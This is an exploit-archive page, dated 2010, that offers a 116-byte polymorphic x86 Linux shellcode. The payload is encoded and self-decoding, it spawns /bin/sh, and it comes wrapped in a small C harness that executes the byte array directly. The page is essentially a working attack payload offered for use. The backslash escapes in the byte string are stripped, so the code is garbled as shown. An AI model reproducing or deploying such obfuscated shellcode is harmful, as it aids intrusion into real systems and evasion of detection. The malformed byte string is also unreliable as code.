[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Polymorphic /bin/sh x86 linux shellcode
# Published : 2010-06-29
# Author :
# Previous Title : ARM Polymorphic execve("/bin/sh", ["/bin/sh"], NULL) Shellcode Generator
# Next Title : OSX/Intel reverse_tcp shell x86_64 - 131 bytes


/*
Title  : Polymorphic /bin/sh x86 linux shellcode .
Name   : 116 bytes /bin/sh x86 linux polymorphic shellcode .
Date   : Tue Jun 29 22:08:59 WIT 2010 .
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org), loneferret (exploit-db.com)
*/

#include <stdio.h>

char shellcode[] = "xebx11x5ex31xc9xb1xfax80x6cx0exffx35x80xe9x01"
		   "x75xf6xebx05xe8xeaxffxffxffx20x46x93x66xfexe6"
		   "x79xb5xa1x43x34x6axb5x1ex36xaax2bx20x3ax1dx1f"
		   "x34x34x34x93x33xedx53x5fx43x58x43xdex8ex5exc5"
		   "xebxddx7dx1ax20x1ex04xedx55x66x4cx5ex44x27x56"
		   "x6dx4cx3ax46x21x3dxa9xbdx5cx09x2fx46x04x42x03"
		   "x40x5dx48xa9xc1x32xc2x28x1ex04x1ax03x40x5dx48"
		   "x03x31x5cx1ax4bx51x7dxbbxe5x9ex04";

int main(void)
{
	fprintf(stdout,"Length: %dn",strlen(shellcode));
	(*(void(*)()) shellcode)();
}